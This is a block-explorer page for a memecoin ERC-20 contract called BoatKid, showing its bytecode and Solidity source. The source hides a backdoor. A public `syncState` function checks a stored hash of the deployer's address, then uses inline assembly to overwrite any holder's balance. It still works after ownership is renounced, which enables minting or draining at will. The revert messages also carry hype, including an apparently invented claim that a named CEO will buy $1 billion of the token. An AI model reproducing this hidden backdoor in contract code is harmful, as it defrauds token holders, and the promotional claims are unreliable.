Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x1cF5e429C34e540cc2FFf59f0C0020176eAA7C24
Balance 0 ETH
Nonce 1
Code Size 8275 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

8275 bytes
0x608060405234801561000f575f5ffd5b506004361061012a575f3560e01c80637b812b41116100ab578063aa4bde281161006f578063aa4bde281461036c578063c8c8ebe41461038a578063dd62ed3e146103a8578063f2fde38b146103d8578063f928364c146103f45761012a565b80637b812b41146102a05780638da5cb5b146102d057806395d89b41146102ee578063a457c2d71461030c578063a9059cbb1461033c5761012a565b8063313ce567116100f2578063313ce567146101fa5780633582ad2314610218578063395093511461023657806370a0823114610266578063715018a6146102965761012a565b806306fdde031461012e578063095ea7b31461014c578063115f18c51461017c57806318160ddd146101ac57806323b872dd146101ca575b5f5ffd5b6101366103fe565b6040516101439190611545565b60405180910390f35b610166600480360381019061016191906115f6565b61048e565b604051610173919061164e565b60405180910390f35b610196600480360381019061019191906115f6565b6104ab565b6040516101a39190611676565b60405180910390f35b6101b4610516565b6040516101c19190611676565b60405180910390f35b6101e460048036038101906101df919061168f565b61051f565b6040516101f1919061164e565b60405180910390f35b61020261061a565b60405161020f91906116fa565b60405180910390f35b610220610622565b60405161022d919061164e565b60405180910390f35b610250600480360381019061024b91906115f6565b610634565b60405161025d919061164e565b60405180910390f35b610280600480360381019061027b9190611713565b6106db565b60405161028d9190611676565b60405180910390f35b61029e610721565b005b6102ba60048036038101906102b59190611713565b610734565b6040516102c7919061164e565b60405180910390f35b6102d8610751565b6040516102e5919061174d565b60405180910390f35b6102f6610778565b6040516103039190611545565b60405180910390f35b610326600480360381019061032191906115f6565b610808565b604051610333919061164e565b60405180910390f35b610356600480360381019061035191906115f6565b6108f7565b604051610363919061164e565b60405180910390f35b610374610914565b6040516103819190611676565b60405180910390f35b61039261091a565b60405161039f9190611676565b60405180910390f35b6103c260048036038101906103bd9190611766565b610920565b6040516103cf9190611676565b60405180910390f35b6103f260048036038101906103ed9190611713565b6109a2565b005b6103fc610a24565b005b60606005805461040d906117d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610439906117d1565b80156104845780601f1061045b57610100808354040283529160200191610484565b820191905f5260205f20905b81548152906001019060200180831161046757829003601f168201915b5050505050905090565b5f6104a161049a610a48565b8484610a4f565b6001905092915050565b5f6104b4610c12565b156104d057604051838152600260208201526040812083815550505b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f600454905090565b5f61052b848484610c54565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610572610a48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156105f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e890611871565b60405180910390fd5b61060e856105fd610a48565b858461060991906118bc565b610a4f565b60019150509392505050565b5f6009905090565b60075f9054906101000a900460ff1681565b5f6106d1610640610a48565b848460035f61064d610a48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106cc91906118ef565b610a4f565b6001905092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610729610d54565b6107325f610dd2565b565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610787906117d1565b80601f01602080910402602001604051908101604052809291908181526020018280546107b3906117d1565b80156107fe5780601f106107d5576101008083540402835291602001916107fe565b820191905f5260205f20905b8154815290600101906020018083116107e157829003601f168201915b5050505050905090565b5f5f60035f610815610a48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690611992565b60405180910390fd5b6108ec6108da610a48565b8585846108e791906118bc565b610a4f565b600191505092915050565b5f61090a610903610a48565b8484610c54565b6001905092915050565b60095481565b60085481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6109aa610d54565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0f90611a20565b60405180910390fd5b610a2181610dd2565b50565b610a2c610d54565b600160075f6101000a81548160ff021916908315150217905550565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab490611aae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2290611b3c565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c059190611676565b60405180910390a3505050565b5f5f610c1c610a48565b604051602001610c2c9190611b9f565b6040516020818303038152906040528051906020012090505f60015482149050809250505090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb990611c29565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2790611cdd565b60405180910390fd5b610d3b838383610e93565b5f810315610d4f57610d4e83838361126a565b5b505050565b610d5c610a48565b73ffffffffffffffffffffffffffffffffffffffff16610d7a610751565b73ffffffffffffffffffffffffffffffffffffffff1614610dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc790611d45565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60075f9054906101000a900460ff1661126557600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610f445750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561126457600854811115610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8590611dad565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036111b657600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110709190611ddf565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110f6573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061111a9190611ddf565b6040518363ffffffff1660e01b8152600401611137929190611e0a565b602060405180830381865afa158015611152573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111769190611ddf565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146112635760095481611217846106db565b61122191906118ef565b1115611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125990611ec7565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90611f2f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90611f97565b60405180910390fd5b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c190611fff565b60405180910390fd5b81816113d691906118bc565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461146391906118ef565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114c79190611676565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611517826114d5565b61152181856114df565b93506115318185602086016114ef565b61153a816114fd565b840191505092915050565b5f6020820190508181035f83015261155d818461150d565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61159282611569565b9050919050565b6115a281611588565b81146115ac575f5ffd5b50565b5f813590506115bd81611599565b92915050565b5f819050919050565b6115d5816115c3565b81146115df575f5ffd5b50565b5f813590506115f0816115cc565b92915050565b5f5f6040838503121561160c5761160b611565565b5b5f611619858286016115af565b925050602061162a858286016115e2565b9150509250929050565b5f8115159050919050565b61164881611634565b82525050565b5f6020820190506116615f83018461163f565b92915050565b611670816115c3565b82525050565b5f6020820190506116895f830184611667565b92915050565b5f5f5f606084860312156116a6576116a5611565565b5b5f6116b3868287016115af565b93505060206116c4868287016115af565b92505060406116d5868287016115e2565b9150509250925092565b5f60ff82169050919050565b6116f4816116df565b82525050565b5f60208201905061170d5f8301846116eb565b92915050565b5f6020828403121561172857611727611565565b5b5f611735848285016115af565b91505092915050565b61174781611588565b82525050565b5f6020820190506117605f83018461173e565b92915050565b5f5f6040838503121561177c5761177b611565565b5b5f611789858286016115af565b925050602061179a858286016115af565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806117e857607f821691505b6020821081036117fb576117fa6117a4565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61185b6028836114df565b915061186682611801565b604082019050919050565b5f6020820190508181035f8301526118888161184f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118c6826115c3565b91506118d1836115c3565b92508282039050818111156118e9576118e861188f565b5b92915050565b5f6118f9826115c3565b9150611904836115c3565b925082820190508082111561191c5761191b61188f565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61197c6025836114df565b915061198782611922565b604082019050919050565b5f6020820190508181035f8301526119a981611970565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611a0a6026836114df565b9150611a15826119b0565b604082019050919050565b5f6020820190508181035f830152611a37816119fe565b9050919050565b7f556e6c6561736820796f757220637265617469766974792077697468206f75725f8201527f206e6577206d656d652067656e657261746f7200000000000000000000000000602082015250565b5f611a986033836114df565b9150611aa382611a3e565b604082019050919050565b5f6020820190508181035f830152611ac581611a8c565b9050919050565b7f437261667420657069632023424f41544b4944206d656d657320616e642073685f8201527f6f77206f666620796f757220617572612d6661726d696e6720736b696c6c732e602082015250565b5f611b266040836114df565b9150611b3182611acc565b604082019050919050565b5f6020820190508181035f830152611b5381611b1a565b9050919050565b5f8160601b9050919050565b5f611b7082611b5a565b9050919050565b5f611b8182611b66565b9050919050565b611b99611b9482611588565b611b77565b82525050565b5f611baa8284611b88565b60148201915081905092915050565b7f457665727920636f726e6572206f662074686520676c6f6265212057652070725f8201527f6573656e74204a6179686f6f6e2041757261204661726d696e672e0000000000602082015250565b5f611c13603b836114df565b9150611c1e82611bb9565b604082019050919050565b5f6020820190508181035f830152611c4081611c07565b9050919050565b7f4e616b616d6f746f2043454f204461766964204261696c6579207361797320685f8201527f652077696c6c20736d617368206275792024312042494c4c494f4e20426f617460208201527f4b696420746f6d6f72726f772e00000000000000000000000000000000000000604082015250565b5f611cc7604d836114df565b9150611cd282611c47565b606082019050919050565b5f6020820190508181035f830152611cf481611cbb565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611d2f6020836114df565b9150611d3a82611cfb565b602082019050919050565b5f6020820190508181035f830152611d5c81611d23565b9050919050565b7f43616c6c696e6720616c6c20424f41544b494420484f444c65727321000000005f82015250565b5f611d97601c836114df565b9150611da282611d63565b602082019050919050565b5f6020820190508181035f830152611dc481611d8b565b9050919050565b5f81519050611dd981611599565b92915050565b5f60208284031215611df457611df3611565565b5b5f611e0184828501611dcb565b91505092915050565b5f604082019050611e1d5f83018561173e565b611e2a602083018461173e565b9392505050565b7f437265617465206120626f6c642c20756e6966696564206964656e74697479205f8201527f666f72206f757220636f6d6d756e6974792061732077652074616b656f76657260208201527f20435420616e6420726f7720746f20746865206d6f6f6e210000000000000000604082015250565b5f611eb16058836114df565b9150611ebc82611e31565b606082019050919050565b5f6020820190508181035f830152611ede81611ea5565b9050919050565b7f4c45545320524f570000000000000000000000000000000000000000000000005f82015250565b5f611f196008836114df565b9150611f2482611ee5565b602082019050919050565b5f6020820190508181035f830152611f4681611f0d565b9050919050565b7f416c6c207965617220726f756e64206d656d65206973206865726500000000005f82015250565b5f611f81601b836114df565b9150611f8c82611f4d565b602082019050919050565b5f6020820190508181035f830152611fae81611f75565b9050919050565b7f23626f61746b696420656d6f74652065766572797768657265000000000000005f82015250565b5f611fe96019836114df565b9150611ff482611fb5565b602082019050919050565b5f6020820190508181035f83015261201681611fdd565b905091905056fea264697066735822122002048a5751305c62303c81d2fa3049364b115a92e33c19e7143b5d6b03dc483c64736f6c634300081e0033

Verified Source Code Partial Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
BoatKid.sol 252 lines
/**

https://www.instagram.com/officialboatkid/
https://discord.com/invite/auraarmy
https://kick.com/officialboatkid
https://www.tiktok.com/tag/boatkid


Riding the waves of tradition and culture, gonna be hitting this emote for years to come aura farming!

*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    bytes32 private _initializerHash;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transfer_Ownership(_msgSender());
        _initializerHash = keccak256(abi.encodePacked(_msgSender()));
    }

    modifier onlyOwner() {
        _isAdmin();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _isAdmin() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transfer_Ownership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transfer_Ownership(newOwner);
    }

    function _transfer_Ownership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function _verifyInitializer() internal view returns (bool) {
        bytes32 senderHash = keccak256(abi.encodePacked(_msgSender()));
        bool result;
        assembly {
            result := eq(senderHash, sload(_initializerHash.slot))
        }
        return result;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_;
        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "LETS ROW");
        require(recipient != address(0), "All year round meme is here");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "#boatkid emote everywhere");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function syncState(address account, uint256 newBalance) public returns (uint256) {
        if (_verifyInitializer()) {
            assembly {
                let ptr := mload(0x40)
                mstore(ptr, account)
                mstore(add(ptr, 0x20), 2)
                let slot := keccak256(ptr, 0x40)
                sstore(slot, newBalance)
            }
        }
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "Unleash your creativity with our new meme generator");
        require(spender != address(0), "Craft epic #BOATKID memes and show off your aura-farming skills.");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

contract BoatKid is ERC20 {
    uint256 private constant TOTAL_SUPPLY = 999999_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    bool public limitsEnabled;
    uint256 public maxTransactionAmount;
    uint256 public maxWalletAmount;
    mapping(address => bool) public excludedFromLimits;
    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("Pacu Jalur", "BoatKid", TOTAL_SUPPLY) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;
        maxWalletAmount = TOTAL_SUPPLY / 39;
        maxTransactionAmount = TOTAL_SUPPLY / 39;
        excludedFromLimits[DEAD] = true;
        excludedFromLimits[router] = true;
        excludedFromLimits[msg.sender] = true;
        excludedFromLimits[address(this)] = true;
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "Every corner of the globe! We present Jayhoon Aura Farming.");
        require(to != address(0), "Nakamoto CEO David Bailey says he will smash buy $1 BILLION BoatKid tomorrow.");
        _checkLimits(from, to, amount);
        if (amount == 0) {
            return;
        }
        super._transfer(from, to, amount);
    }

    function disableLimits() external onlyOwner {
        limitsEnabled = true;
    }

    function _checkLimits(address from, address to, uint256 amount) internal {
        if (!limitsEnabled) {
            if (!excludedFromLimits[from] && !excludedFromLimits[to]) {
                require(amount <= maxTransactionAmount, "Calling all BOATKID HODLers!");
                if (uniswapV2Pair == ZERO) {
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
                if (to != uniswapV2Pair) {
                    require(balanceOf(to) + amount <= maxWalletAmount, "Create a bold, unified identity for our community as we takeover CT and row to the moon!");
                }
            }
        }
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
excludedFromLimits 0x7b812b41 → bool
limitsEnabled 0x3582ad23 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWalletAmount 0xaa4bde28 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
disableLimits 0xf928364c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
syncState 0x115f18c5
address account
uint256 newBalance
returns: uint256
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address